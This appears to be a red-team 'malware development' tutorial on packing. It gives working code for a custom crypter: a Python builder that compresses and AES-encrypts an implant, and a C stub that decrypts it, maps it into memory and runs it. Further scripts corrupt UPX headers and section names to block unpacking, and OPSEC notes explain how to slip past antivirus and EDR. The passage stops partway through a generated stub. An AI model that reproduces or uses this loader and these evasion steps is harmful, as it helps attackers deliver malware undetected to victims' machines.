ᛉ Yggdrasil

Malware development

Packing Techniques

16 Oct 2026 · 10,638 words · 48 min

Contents

Legend: [PACK] = Packing technique | [COMPRESS] = Compression method | [OBFUSCATE] = Obfuscation layer | [OPSEC] = Operational Security note | [DETECT] = Detection vector | [EVASION] = Bypass technique | [TOOL] = Tool reference | [MITRE] = ATT&CK mapping


1. What is Packing?

What it means: Packing is the process of compressing, encrypting, or otherwise transforming an executable so that its original code is hidden at rest. A stub (small piece of code) is prepended or embedded in the output — this stub runs at execution time, decompresses/decrypts the payload in memory, and transfers execution to it.

The core problem (without packing):

Your implant on disk (unpacked):
├─ AV scans binary on write/exec
├─ Matches known Cobalt Strike / Havoc / Meterpreter bytes
├─ Action: Flag / Block / Alert
└─ Result: Payload dead before it runs

With packing:

Packed binary on disk:
├─ AV scans → sees only compressed/encrypted blob + tiny stub
├─ Signature: NONE (no recognizable malicious patterns)
├─ Execution:
│   ├─ Stub runs (small, generic, no signatures)
│   ├─ Decompresses / decrypts payload into memory
│   └─ Jumps to original entry point → implant runs
└─ Result: Payload executes

Why packing matters for red teaming:

Scenario Without Packing With Packing
Upload implant to disk AV detects known bytes immediately Encrypted blob → no match
Static analysis Malicious strings/imports visible Stub only → real code hidden
YARA rule match Triggers known signatures Packed bytes: no match
Hash-based detection Known SHA256 flagged Repacking = new hash every time
Reverse engineering Analyst reads code directly Must first unpack before analysis
Binary padding & size Fixed size per msfvenom payload Variable — compression changes output

The packing pipeline (conceptual):

Original PE / shellcode
    └─ Compress (ZLIB / LZMA / LZ77)    ← Reduce size + break patterns
         └─ Encrypt (AES-256 / XOR)      ← Hide compressed bytes
              └─ Embed in Stub EXE        ← Self-extracting loader
                   └─ Packed Output.exe   ← What lands on disk

[OPSEC] Known packers (UPX, MPRESS) are themselves signatured. AV detects the packer wrapper even without seeing your payload. Always use custom or modified packers.

[MITRE] T1027.002 — Software Packing. Used by APT29, APT39, Lazarus Group, Volt Typhoon, TeamTNT. Real-world usage includes UPX-packed Mimikatz, Themida-packed implants, and custom packers for bespoke malware.


2. Packer vs Crypter vs Protector

What it means: These three terms are often used interchangeably but have distinct meanings in malware development. All three share the same goal: hide the payload from AV/EDR and analysts.

┌─────────────────────────────────────────────────────────────────┐
│                  PACKER vs CRYPTER vs PROTECTOR                 │
├──────────────┬──────────────────────┬────────────────────────── ┤
│              │       PACKER         │  CRYPTER   │  PROTECTOR   │
├──────────────┼──────────────────────┼────────────┼──────────────┤
│ Core method  │ Compress + optional  │ Encrypt    │ VM + pack +  │
│              │ encrypt              │ only       │ anti-debug   │
├──────────────┼──────────────────────┼────────────┼──────────────┤
│ Key needed?  │ No (compression)     │ Yes        │ Depends      │
├──────────────┼──────────────────────┼────────────┼──────────────┤
│ Size output  │ Usually smaller      │ Same or    │ Usually      │
│              │                      │ larger     │ larger       │
├──────────────┼──────────────────────┼────────────┼──────────────┤
│ Anti-debug   │ Rarely               │ Rarely     │ YES (core    │
│              │                      │            │ feature)     │
├──────────────┼──────────────────────┼────────────┼──────────────┤
│ Examples     │ UPX, MPRESS, custom  │ Hyperion   │ VMProtect,   │
│              │                      │            │ Themida      │
├──────────────┼──────────────────────┼────────────┼──────────────┤
│ Unpack-able? │ YES — trivially      │ Harder     │ Very hard    │
│              │ (UPX -d)             │            │              │
└──────────────┴──────────────────────┴────────────┴──────────────┘

2.1 Packer (Runtime Packer / Self-Extracting)

Packer:
├─ Compresses original executable
├─ Adds a decompression stub to the front
├─ On run: stub decompresses payload → redirects EIP/RIP
├─ Result: Smaller file, different on-disk signature
└─ Example: UPX, MPRESS, custom LZ77 packer

2.2 Crypter

Crypter:
├─ Encrypts original executable (AES / XOR / RC4)
├─ Adds a decryption stub (holds key + decrypt logic)
├─ On run: stub decrypts payload into memory → executes
├─ Key stored in stub or fetched from C2
└─ Example: Hyperion, custom AES crypters

2.3 Protector

Protector:
├─ Combines packing + encryption
├─ Adds anti-debug / anti-VM / anti-analysis tricks
├─ Often adds code virtualization (custom VM bytecode)
├─ Designed to stop reverse engineering
└─ Example: VMProtect, Themida, ASProtect

[OPSEC] In red team practice: a "crypter" is what most operators mean when they say "packer." The actual technique is encrypt → stub. Call it what you want, just build it custom.


3. How a Packer Works — Internals

What it means: Every packer has two components — the builder (packs the file at build time) and the stub (runs at runtime, unpacks the file in memory). Understanding this split is critical for building your own.

3.1 The Builder (Pack-Time)

Builder role:
1. Read original PE / shellcode
2. Compress it (ZLIB, LZMA, LZ77, etc.)
3. Encrypt the compressed bytes (AES, XOR, etc.)
4. Embed encrypted blob into the Stub EXE (usually in .rsrc or a new section)
5. Patch the stub's entry point if needed
6. Write packed Output.exe to disk

3.2 The Stub (Runtime)

Stub role (executed when packed Output.exe runs):
1. Find embedded payload (read from resource / section offset)
2. Decrypt payload (using embedded key)
3. Decompress payload (feed to ZLIB inflate / custom decompressor)
4. Allocate RW memory (VirtualAlloc)
5. Write decompressed PE into memory buffer
6. Fix imports (manual PE loading):
   ├─ Parse PE headers
   ├─ Load required DLLs (LoadLibraryA)
   ├─ Resolve function addresses (GetProcAddress)
   └─ Patch IAT entries
7. Handle relocations (if base differs from preferred)
8. Change memory protection: RW → RX (VirtualProtect)
9. Jump to Original Entry Point (OEP)
10. Real payload runs — everything above was the stub

3.3 PE Layout Before vs After Packing

BEFORE PACKING:
┌──────────────────────────────┐
│ DOS Header                   │
│ PE Header (OPTIONAL_HEADER)  │
│ Section Table                │
│ .text   (code)               │  ← AV sees your shellcode/implant here
│ .rdata  (read-only data)     │  ← Imports, strings visible
│ .data   (global vars)        │
│ .rsrc   (resources)          │
└──────────────────────────────┘

AFTER PACKING (UPX example):
┌──────────────────────────────┐
│ DOS Header (modified)        │
│ PE Header                    │
│ Section Table                │
│ UPX0   (zero-size on disk,   │  ← Decompressed here at runtime (RWX)
│         full size in memory) │
│ UPX1   (compressed payload   │  ← AV sees only compressed bytes here
│         + stub code)         │
│ .rsrc  (resources, optional) │
└──────────────────────────────┘

[DETECT] Indicator: Section names. UPX leaves UPX0 and UPX1 as section names. ClamAV and many AV engines detect UPX by these strings alone. Always rename or modify sections in custom packers.

[DETECT] Indicator: Virtual size >> Raw size mismatch. UPX0 has a raw size of 0 but a large virtual size. This is a packing heuristic. EDR tools flag this pattern.


4. UPX — Universal Packer for Executables

What it means: UPX is the most widely known and used open-source packer. It supports PE (Windows), ELF (Linux), and Mach-O (macOS). It uses LZMA compression internally. Beloved for its simplicity, despised because it's signatured by almost every AV.

[TOOL] UPX: https://github.com/upx/upx

4.1 Basic UPX Usage

# ── Install UPX ──────────────────────────────────────────────
# Linux
sudo apt install upx-ucl

# Windows (download binary)
# https://github.com/upx/upx/releases

# ── Pack a binary ────────────────────────────────────────────
upx implant.exe -o packed_implant.exe

# ── Maximum compression ──────────────────────────────────────
upx --best implant.exe -o packed_implant.exe

# ── Ultra brute force (slowest, smallest output) ─────────────
upx --brute implant.exe -o packed_implant.exe

# ── Unpack (what analysts do / what "upx -d" does) ───────────
upx -d packed_implant.exe

# ── Check if a file is UPX-packed ────────────────────────────
upx -l suspicious.exe

# ── Pack ELF binary (Linux) ──────────────────────────────────
upx --best implant_elf -o packed_elf

# ── Check compression ratio ──────────────────────────────────
upx -v implant.exe

4.2 UPX Section Modification (Break Simple Unpacking)

# After packing, rename UPX sections to look legitimate
# This breaks automated "upx -d" unpacking 

# Python — rename UPX0/UPX1 sections to benign names
python3 << 'EOF'
import pefile

pe = pefile.PE("packed_implant.exe")

for section in pe.sections:
    name = section.Name.decode('utf-8', errors='replace').strip('\x00')
    if name == "UPX0":
        section.Name = b".text\x00\x00\x00"    # Fake .text
    elif name == "UPX1":
        section.Name = b".data\x00\x00\x00"    # Fake .data

pe.write("packed_modified.exe")
print("[+] Sections renamed — upx -d will fail")
EOF

4.3 UPX Header Manipulation (Corrupt Magic Bytes)

#!/usr/bin/env python3
# upx_header_corrupt.py
# Corrupt UPX magic bytes — breaks automated unpackers
# Rocke APT group was observed doing exactly this (T1027)

import struct

def corrupt_upx_magic(packed_file: str, output_file: str):
    with open(packed_file, "rb") as f:
        data = bytearray(f.read())

    # UPX magic bytes: b"UPX!"
    upx_magic = b"UPX!"

    positions = []
    i = 0
    while True:
        pos = data.find(upx_magic, i)
        if pos == -1:
            break
        positions.append(pos)
        i = pos + 1

    if not positions:
        print("[-] UPX magic bytes not found — already modified or not UPX")
        return

    print(f"[*] Found UPX magic at {len(positions)} location(s): {[hex(p) for p in positions]}")

    # Corrupt each magic (replace UPX! with junk)
    for pos in positions:
        data[pos:pos+4] = b"\xFF\xFF\xFF\xFF"  # Replace magic

    with open(output_file, "wb") as f:
        f.write(data)

    print(f"[+] Written to {output_file}")
    print(f"[+] upx -d will now fail on this binary")

corrupt_upx_magic("packed_implant.exe", "packed_modified.exe")

[OPSEC] UPX is blacklisted. Most AV engines detect UPX-packed binaries even before inspecting the payload. Always combine UPX with another layer (crypter) or replace UPX entirely with a custom packer.

[OPSEC] UPX detection via hash. Because UPX is deterministic, the same input → same output. AV vendors hash-match common UPX outputs. Combine with modifications above.


5. Custom Packer — Build Your Own

What it means: Building a custom packer gives you full control over how the payload is packed, encrypted, and unpacked at runtime. Custom packers have no known signatures and every rebuild produces different bytes. This is the gold standard for red team payload delivery.

5.1 Architecture Overview

Custom Packer Architecture:

  ┌────────────┐     Builder (Python/C)      ┌──────────────────┐
  │ implant.exe│ ──── compress + encrypt ──► │  Stub.exe        │
  │ (payload)  │                             │  ┌────────────┐  │
  └────────────┘                             │  │ encrypted  │  │
                                             │  │ payload    │  │ ← .rsrc section
                                             │  │ blob       │  │
                                             │  └────────────┘  │
                                             │  ┌────────────┐  │
                                             │  │ decrypt +  │  │ ← .text section
                                             │  │ decompress │  │
                                             │  │ stub code  │  │
                                             │  └────────────┘  │
                                             └──────────────────┘
                                                  Packed.exe
                                                  (ships to target)

5.2 Python Builder — Pack + Encrypt

#!/usr/bin/env python3
# builder.py — Custom PE packer (builder component)
# Compresses + AES-encrypts payload → injects into stub

import os
import sys
import zlib
import struct
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

# ─── CONFIG ──────────────────────────────────────────────────
PAYLOAD_FILE = "implant.exe"     # Input PE (your beacon/implant)
STUB_FILE    = "stub.exe"        # Pre-compiled stub (see §5.3)
OUTPUT_FILE  = "packed.exe"      # Output packed binary
RSRC_MARKER  = b"PAYLOAD_BLOB_"  # Marker in stub to overwrite
# ─────────────────────────────────────────────────────────────

def compress(data: bytes) -> bytes:
    """ZLIB compress the payload."""
    compressed = zlib.compress(data, level=9)
    print(f"[*] Compression: {len(data)} → {len(compressed)} bytes "
          f"({len(compressed)/len(data)*100:.1f}%)")
    return compressed

def encrypt(data: bytes) -> tuple[bytes, bytes, bytes]:
    """AES-256-CBC encrypt. Returns (ciphertext, key, iv)."""
    key = os.urandom(32)   # 256-bit key
    iv  = os.urandom(16)   # 128-bit IV
    cipher = AES.new(key, AES.MODE_CBC, iv)
    ciphertext = cipher.encrypt(pad(data, AES.block_size))
    return ciphertext, key, iv

def inject_into_stub(stub: bytes, payload: bytes, key: bytes, iv: bytes) -> bytes:
    """
    Inject encrypted payload blob + key + IV into stub binary.
    The stub has a known marker where the builder writes payload size + blob.
    """
    marker_pos = stub.find(RSRC_MARKER)
    if marker_pos == -1:
        raise ValueError(f"Marker {RSRC_MARKER!r} not found in stub!")

    # Build blob: [payload_len (4 bytes)] + [key (32)] + [iv (16)] + [ciphertext]
    blob  = struct.pack("<I", len(payload))
    blob += key
    blob += iv
    blob += payload

    # Pad to ensure we don't overflow reserved space (pre-allocate in stub)
    reserved_size = len(stub) - marker_pos - len(RSRC_MARKER)
    if len(blob) > reserved_size:
        raise ValueError(f"Payload too large: {len(blob)} > {reserved_size} reserved bytes")

    patched = bytearray(stub)
    # Overwrite marker + following space with blob
    patched[marker_pos:marker_pos + len(RSRC_MARKER) + len(blob)] = (
        RSRC_MARKER + blob
    )
    return bytes(patched)

def main():
    print("[*] Custom Packer Builder")
    print(f"[*] Payload:  {PAYLOAD_FILE}")
    print(f"[*] Stub:     {STUB_FILE}")
    print(f"[*] Output:   {OUTPUT_FILE}")
    print()

    with open(PAYLOAD_FILE, "rb") as f:
        payload = f.read()
    with open(STUB_FILE, "rb") as f:
        stub = f.read()

    print(f"[*] Payload size (original): {len(payload)} bytes")

    # Step 1: Compress
    compressed = compress(payload)

    # Step 2: Encrypt
    ciphertext, key, iv = encrypt(compressed)
    print(f"[*] Encrypted size: {len(ciphertext)} bytes")
    print(f"[*] AES Key:  {key.hex()}")
    print(f"[*] AES IV:   {iv.hex()}")

    # Step 3: Inject into stub
    packed = inject_into_stub(stub, ciphertext, key, iv)

    # Step 4: Write output
    with open(OUTPUT_FILE, "wb") as f:
        f.write(packed)

    print(f"\n[+] Packed binary written: {OUTPUT_FILE}")
    print(f"[+] Packed size: {len(packed)} bytes")
    print(f"[+] Compression ratio: {len(ciphertext)/len(payload)*100:.1f}% of original")

main()

5.3 C Stub — Runtime Decompressor / Decryptor

// stub.c — Runtime stub for custom packer
// Finds embedded payload, decrypts (AES-256-CBC), decompresses (ZLIB),
// manually loads PE into memory, jumps to OEP
//
// Compile: cl.exe stub.c /Fe:stub.exe /link bcrypt.lib
// Or:      x86_64-w64-mingw32-gcc stub.c -o stub.exe -lbcrypt -lz

#include <windows.h>
#include <bcrypt.h>
#include <zlib.h>
#include <stdio.h>

// ── Marker — builder patches bytes after this ─────────────────
// Reserve 4MB for payload blob (adjust as needed)
#pragma section(".payload", read, write)
__declspec(allocate(".payload"))
unsigned char PAYLOAD_BLOB_[4 * 1024 * 1024] = { 0 };
// ─────────────────────────────────────────────────────────────

typedef NTSTATUS (WINAPI *pBCryptOpenAlgorithmProvider)(
    BCRYPT_ALG_HANDLE*, LPCWSTR, LPCWSTR, ULONG);
typedef NTSTATUS (WINAPI *pBCryptSetProperty)(
    BCRYPT_HANDLE, LPCWSTR, PUCHAR, ULONG, ULONG);
typedef NTSTATUS (WINAPI *pBCryptGenerateSymmetricKey)(
    BCRYPT_ALG_HANDLE, BCRYPT_KEY_HANDLE*, PUCHAR, ULONG, PUCHAR, ULONG, ULONG);
typedef NTSTATUS (WINAPI *pBCryptDecrypt)(
    BCRYPT_KEY_HANDLE, PUCHAR, ULONG, VOID*, PUCHAR, ULONG, PUCHAR, ULONG, ULONG*, ULONG);
typedef NTSTATUS (WINAPI *pBCryptDestroyKey)(BCRYPT_KEY_HANDLE);
typedef NTSTATUS (WINAPI *pBCryptCloseAlgorithmProvider)(BCRYPT_ALG_HANDLE, ULONG);

// ── AES-256-CBC Decrypt using BCrypt API ─────────────────────
BOOL aes_decrypt(
    BYTE* ciphertext, DWORD ct_len,
    BYTE* key,        DWORD key_len,
    BYTE* iv,         DWORD iv_len,
    BYTE** plaintext, DWORD* pt_len)
{
    BCRYPT_ALG_HANDLE hAlg   = NULL;
    BCRYPT_KEY_HANDLE hKey   = NULL;
    NTSTATUS          status = 0;
    DWORD             cbData = 0;
    BYTE              ivCopy[16];

    HMODULE hBcrypt = LoadLibraryA("bcrypt.dll");
    pBCryptOpenAlgorithmProvider  fpOpen    = (pBCryptOpenAlgorithmProvider)
        GetProcAddress(hBcrypt, "BCryptOpenAlgorithmProvider");
    pBCryptSetProperty            fpSetProp = (pBCryptSetProperty)
        GetProcAddress(hBcrypt, "BCryptSetProperty");
    pBCryptGenerateSymmetricKey   fpGenKey  = (pBCryptGenerateSymmetricKey)
        GetProcAddress(hBcrypt, "BCryptGenerateSymmetricKey");
    pBCryptDecrypt                fpDecrypt = (pBCryptDecrypt)
        GetProcAddress(hBcrypt, "BCryptDecrypt");
    pBCryptDestroyKey             fpDelKey  = (pBCryptDestroyKey)
        GetProcAddress(hBcrypt, "BCryptDestroyKey");
    pBCryptCloseAlgorithmProvider fpClose   = (pBCryptCloseAlgorithmProvider)
        GetProcAddress(hBcrypt, "BCryptCloseAlgorithmProvider");

    fpOpen(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
    fpSetProp(hAlg, BCRYPT_CHAINING_MODE,
              (PUCHAR)BCRYPT_CHAIN_MODE_CBC,
              sizeof(BCRYPT_CHAIN_MODE_CBC), 0);

    // Key object buffer (size query then alloc omitted for brevity — 
    //  use BCryptGetProperty(BCRYPT_OBJECT_LENGTH) in production)
    BYTE keyObj[1024] = {0};
    fpGenKey(hAlg, &hKey, keyObj, sizeof(keyObj), key, key_len, 0);

    // BCrypt modifies IV in place — make a copy
    memcpy(ivCopy, iv, iv_len);

    // Query output size
    fpDecrypt(hKey, ciphertext, ct_len, NULL, ivCopy, iv_len,
              NULL, 0, &cbData, BCRYPT_BLOCK_PADDING);

    *plaintext = (BYTE*)VirtualAlloc(NULL, cbData, MEM_COMMIT, PAGE_READWRITE);
    memcpy(ivCopy, iv, iv_len);  // Reset IV after query

    fpDecrypt(hKey, ciphertext, ct_len, NULL, ivCopy, iv_len,
              *plaintext, cbData, pt_len, BCRYPT_BLOCK_PADDING);

    fpDelKey(hKey);
    fpClose(hAlg, 0);

    return TRUE;
}

// ── ZLIB Decompress ──────────────────────────────────────────
BYTE* zlib_decompress(BYTE* in, ULONG in_len, ULONG* out_len) {
    // Allocate generous output buffer (10x compressed size)
    *out_len   = in_len * 10;
    BYTE* out  = (BYTE*)VirtualAlloc(NULL, *out_len, MEM_COMMIT, PAGE_READWRITE);
    uLongf dest_len = *out_len;
    uncompress(out, &dest_len, in, in_len);
    *out_len = (ULONG)dest_len;
    return out;
}

// ── Manual PE Loader ─────────────────────────────────────────
void load_and_run_pe(BYTE* raw_pe, SIZE_T pe_size) {
    IMAGE_DOS_HEADER*     dos_hdr  = (IMAGE_DOS_HEADER*)raw_pe;
    IMAGE_NT_HEADERS*     nt_hdrs  = (IMAGE_NT_HEADERS*)(raw_pe + dos_hdr->e_lfanew);
    IMAGE_OPTIONAL_HEADER opt_hdr  = nt_hdrs->OptionalHeader;
    IMAGE_SECTION_HEADER* sections = IMAGE_FIRST_SECTION(nt_hdrs);

    // Allocate memory at preferred base (or any base)
    LPVOID base = VirtualAlloc(
        (LPVOID)opt_hdr.ImageBase,
        opt_hdr.SizeOfImage,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE
    );
    if (!base)
        base = VirtualAlloc(NULL, opt_hdr.SizeOfImage,
                            MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // Copy headers
    memcpy(base, raw_pe, opt_hdr.SizeOfHeaders);

    // Copy sections
    for (WORD i = 0; i < nt_hdrs->FileHeader.NumberOfSections; i++) {
        if (sections[i].SizeOfRawData == 0) continue;
        BYTE* dst = (BYTE*)base + sections[i].VirtualAddress;
        BYTE* src = raw_pe + sections[i].PointerToRawData;
        memcpy(dst, src, sections[i].SizeOfRawData);
    }

    // Fix relocations (delta from preferred base)
    ULONGLONG delta = (ULONGLONG)base - opt_hdr.ImageBase;
    if (delta != 0) {
        IMAGE_DATA_DIRECTORY reloc_dir = opt_hdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
        IMAGE_BASE_RELOCATION* reloc   = (IMAGE_BASE_RELOCATION*)
            ((BYTE*)base + reloc_dir.VirtualAddress);
        while (reloc->VirtualAddress) {
            WORD* entries = (WORD*)(reloc + 1);
            DWORD count   = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
            for (DWORD j = 0; j < count; j++) {
                if ((entries[j] >> 12) == IMAGE_REL_BASED_DIR64) {
                    ULONGLONG* patch = (ULONGLONG*)
                        ((BYTE*)base + reloc->VirtualAddress + (entries[j] & 0xFFF));
                    *patch += delta;
                }
            }
            reloc = (IMAGE_BASE_RELOCATION*)((BYTE*)reloc + reloc->SizeOfBlock);
        }
    }

    // Fix imports (resolve DLL functions)
    IMAGE_DATA_DIRECTORY import_dir = opt_hdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    IMAGE_IMPORT_DESCRIPTOR* import = (IMAGE_IMPORT_DESCRIPTOR*)
        ((BYTE*)base + import_dir.VirtualAddress);
    while (import->Name) {
        HMODULE dll = LoadLibraryA((LPCSTR)((BYTE*)base + import->Name));
        IMAGE_THUNK_DATA* thunk  = (IMAGE_THUNK_DATA*)
            ((BYTE*)base + import->FirstThunk);
        IMAGE_THUNK_DATA* oth    = (IMAGE_THUNK_DATA*)
            ((BYTE*)base + import->OriginalFirstThunk);
        while (thunk->u1.AddressOfData) {
            if (IMAGE_SNAP_BY_ORDINAL(oth->u1.Ordinal)) {
                thunk->u1.Function = (ULONG_PTR)
                    GetProcAddress(dll, (LPCSTR)IMAGE_ORDINAL(oth->u1.Ordinal));
            } else {
                IMAGE_IMPORT_BY_NAME* ibn = (IMAGE_IMPORT_BY_NAME*)
                    ((BYTE*)base + oth->u1.AddressOfData);
                thunk->u1.Function = (ULONG_PTR)
                    GetProcAddress(dll, ibn->Name);
            }
            thunk++; oth++;
        }
        import++;
    }

    // Mark sections executable
    DWORD oldProt;
    VirtualProtect(base, opt_hdr.SizeOfImage, PAGE_EXECUTE_READWRITE, &oldProt);

    // Call TLS callbacks if present (some PEs need this)
    // (skipped for brevity — add BCryptHashData TLS calls here for full compat)

    // Jump to OEP
    ULONG_PTR oep = (ULONG_PTR)base + opt_hdr.AddressOfEntryPoint;
    ((void(*)())oep)();
}

int main(void) {
    // ── Parse embedded blob ──────────────────────────────────
    // Blob layout (written by builder.py):
    //   [4 bytes: payload_len] [32 bytes: AES key] [16 bytes: IV] [N bytes: ciphertext]

    BYTE*  blob       = PAYLOAD_BLOB_ + sizeof("PAYLOAD_BLOB_") - 1;
    DWORD  ct_len     = *(DWORD*)blob;            blob += 4;
    BYTE*  aes_key    = blob;                     blob += 32;
    BYTE*  aes_iv     = blob;                     blob += 16;
    BYTE*  ciphertext = blob;

    // ── Step 1: Decrypt ──────────────────────────────────────
    BYTE* compressed; DWORD compressed_len;
    aes_decrypt(ciphertext, ct_len,
                aes_key, 32, aes_iv, 16,
                &compressed, &compressed_len);

    // ── Step 2: Decompress ───────────────────────────────────
    ULONG pe_size;
    BYTE* pe_data = zlib_decompress(compressed, compressed_len, &pe_size);

    VirtualFree(compressed, 0, MEM_RELEASE);

    // ── Step 3: Load + Run ───────────────────────────────────
    load_and_run_pe(pe_data, pe_size);

    return 0;
}

[OPSEC] IAT (Import Address Table) hiding. If your stub calls VirtualAlloc, VirtualProtect, LoadLibraryA, GetProcAddress directly in its import table, EDR flags those immediately. Use dynamic API resolution via hash (see §15.2) to hide these calls.


6. Compression-Based Packing (ZLIB / LZMA / LZ77)

What it means: Compression reduces binary size and completely changes byte patterns. High-entropy compressed data breaks simple pattern-matching. Different algorithms offer different trade-offs between speed, ratio, and tooling support.

6.1 ZLIB Compression (Python — Compress/Decompress)

#!/usr/bin/env python3
# zlib_pack.py — Compress payload with ZLIB, output as C array

import zlib
import sys

def compress_payload(data: bytes, level: int = 9) -> bytes:
    """ZLIB compress. Level 1=fastest, 9=best compression."""
    return zlib.compress(data, level=level)

def to_c_array(data: bytes, var_name: str = "compressed") -> str:
    """Convert bytes to C unsigned char array."""
    lines = []
    lines.append(f"// ZLIB-compressed payload — decompress with zlib uncompress()")
    lines.append(f"unsigned int {var_name}_len = {len(data)};")
    lines.append(f"unsigned char {var_name}[] = {{")
    for i in range(0, len(data), 12):
        chunk = data[i:i+12]
        lines.append("    " + ", ".join(f"0x{b:02x}" for b in chunk) + ",")
    lines.append("};")
    return "\n".join(lines)

with open("implant.exe", "rb") as f:
    payload = f.read()

compressed = compress_payload(payload)
ratio = len(compressed) / len(payload) * 100

print(f"[*] Original:   {len(payload):,} bytes")
print(f"[*] Compressed: {len(compressed):,} bytes ({ratio:.1f}% of original)")
print()
print(to_c_array(compressed, "packed_payload"))

6.2 LZMA Compression (Python — Maximum Ratio)

#!/usr/bin/env python3
# lzma_pack.py — Higher compression ratio than ZLIB

import lzma
import struct

def lzma_compress(data: bytes) -> bytes:
    """LZMA compress — better ratio than ZLIB, slower."""
    compressed = lzma.compress(data, preset=9)
    return compressed

def lzma_decompress(data: bytes) -> bytes:
    return lzma.decompress(data)

with open("implant.exe", "rb") as f:
    payload = f.read()

compressed = lzma_compress(payload)
print(f"[*] Original:   {len(payload):,} bytes")
print(f"[*] LZMA:       {len(compressed):,} bytes ({len(compressed)/len(payload)*100:.1f}%)")

# Save for embedding in stub
with open("payload.lzma", "wb") as f:
    # Prepend original size (needed for decompressor buffer allocation)
    f.write(struct.pack("<Q", len(payload)))
    f.write(compressed)

print("[+] Written: payload.lzma (prepended with original size)")

6.3 ZLIB Decompression in C (Stub-Side)

// zlib_decompress_stub.c — Runtime decompression in the stub
// Link with: -lz (MinGW) or compile zlib source in

#include <windows.h>
#include <zlib.h>

// data     = compressed payload bytes (from ZLIB compress)
// data_len = compressed size
// returns  = pointer to decompressed PE in allocated memory
BYTE* decompress_payload(BYTE* data, DWORD data_len, ULONG* out_len) {

    // Allocate output — compressed data gives ~50-70% reduction,
    // so 5x is a safe overestimate for most PEs
    *out_len      = data_len * 5;
    BYTE* out_buf = (BYTE*)VirtualAlloc(NULL, *out_len,
                                         MEM_COMMIT | MEM_RESERVE,
                                         PAGE_READWRITE);
    if (!out_buf) return NULL;

    uLongf dest_len = (uLongf)*out_len;
    int    result   = uncompress(out_buf, &dest_len, data, (uLong)data_len);

    if (result != Z_OK) {
        VirtualFree(out_buf, 0, MEM_RELEASE);
        return NULL;
    }

    *out_len = (ULONG)dest_len;
    return out_buf;
}

6.4 Compression Algorithms Compared

Algorithm  | Ratio  | Speed     | Lib Size | C Support | Notes
──────────────────────────────────────────────────────────────────
LZ77       | Low    | Very Fast | Tiny     | Easy      | Custom, no deps
ZLIB/Deflate| Medium| Fast      | ~80KB    | Good      | Most common
LZMA       | High   | Slow      | ~200KB   | Good      | 7zip/XZ format
Brotli     | High   | Slow      | ~300KB   | Moderate  | Rare in maldev
Huffman    | Low-Med| Fast      | Tiny     | Easy      | Pair with others
MPRESS     | Medium | Fast      | Built-in | N/A       | Packer-specific

[OPSEC] High compression = high entropy. Compressed data has very high entropy (~7.8-8.0). Static analysis tools flag high-entropy blobs. Add random-looking padding or use a low-entropy encoding wrapper on top if needed.


7. Crypter Packing (Encrypt + Stub)

What it means: A crypter packs a payload by encrypting it (not just compressing). The encrypted output is stored alongside a decryption stub. At runtime, the stub decrypts the payload into memory and executes it. No AV signature can match the encrypted ciphertext.

7.1 Hyperion — AES Crypter

[TOOL] Hyperion: https://github.com/nullsecuritynet/tools/tree/master/binary/hyperion/release

# Hyperion — AES crypter for PE files
# Encrypts PE with AES-128, adds decryption stub
# Stub brute-forces the key at runtime (by design — no key storage!)

# Clone and build
git clone https://github.com/nullsecuritynet/tools
cd tools/binary/hyperion/release

# Pack a Windows PE
wine hyperion.exe implant.exe packed_implant.exe

# Or use Wine on Linux
hyperion implant.exe packed_implant.exe

# Hyperion + UPX (double layer)
wine hyperion.exe implant.exe hyp_implant.exe
upx hyp_implant.exe -o final.exe

# ProtectMyTooling chain: Hyperion → UPX
py ProtectMyTooling.py hyperion,upx implant.exe output.exe

7.2 Custom Crypter in Python (Builder)

#!/usr/bin/env python3
# crypter_builder.py
# Encrypt PE with AES-256-CBC → embed key in stub template
# Real ops: derive key from environment (§7.4)

import os
import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

def build_crypted(payload_file: str, output_c: str):
    """
    Produces a .c file that is both the stub AND contains the encrypted payload.
    Compile this .c file to get the crypted binary.
    """
    with open(payload_file, "rb") as f:
        payload = f.read()

    key = os.urandom(32)    # AES-256 key
    iv  = os.urandom(16)    # CBC IV

    cipher    = AES.new(key, AES.MODE_CBC, iv)
    encrypted = cipher.encrypt(pad(payload, AES.block_size))

    print(f"[*] Payload:   {len(payload)} bytes")
    print(f"[*] Encrypted: {len(encrypted)} bytes")
    print(f"[*] Key:       {key.hex()}")
    print(f"[*] IV:        {iv.hex()}")

    def to_hex_array(b: bytes, var: str) -> str:
        lines = [f"unsigned char {var}[] = {{"]
        for i in range(0, len(b), 12):
            chunk = b[i:i+12]
            lines.append("    " + ", ".join(f"0x{x:02x}" for x in chunk) + ",")
        lines.append("};")
        lines.append(f"unsigned int {var}_len = {len(b)};")
        return "\n".join(lines)

    stub_c = f"""
// Auto-generated by crypter_builder.py
// Compile: x86_64-w64-mingw32-gcc stub.c -o crypter.exe -lbcrypt
#include <windows.h>
#include <bcrypt.h>
#include <stdio.h>

// ── Embedded encrypted payload ────────────────────────────────
{to_hex_array(encrypted, "enc_payload")}

{to_hex_array(key, "aes_key")}

{to_hex_array(iv, "aes_iv")}

// ── AES-256-CBC decrypt (BCrypt) ──────────────────────────────
BYTE* aes_cbc_decrypt(BYTE* ct, DWORD ct_len,
                      BYTE* key, BYTE* iv,
                      DWORD* out_len) {{
    BCRYPT_ALG_HANDLE hAlg  = NULL;
    BCRYPT_KEY_HANDLE hKey  = NULL;
    BYTE keyObj[1024]       = {{0}};
    BYTE ivCopy[16];
    DWORD cbResult;

    BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
    BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
                      (PUCHAR)BCRYPT_CHAIN_MODE_CBC,
                      sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
    BCryptGenerateSymmetricKey(hAlg, &hKey, keyObj,
                               sizeof(keyObj), key, 32, 0);
    memcpy(ivCopy, iv, 16);
    BCryptDecrypt(hKey, ct, ct_len, NULL, ivCopy, 16,
                  NULL, 0, &cbResult, BCRYPT_BLOCK_PADDING);

    BYTE* out = (BYTE*)VirtualAlloc(NULL, cbResult,
                                     MEM_COMMIT, PAGE_READWRITE);
    memcpy(ivCopy, iv, 16);
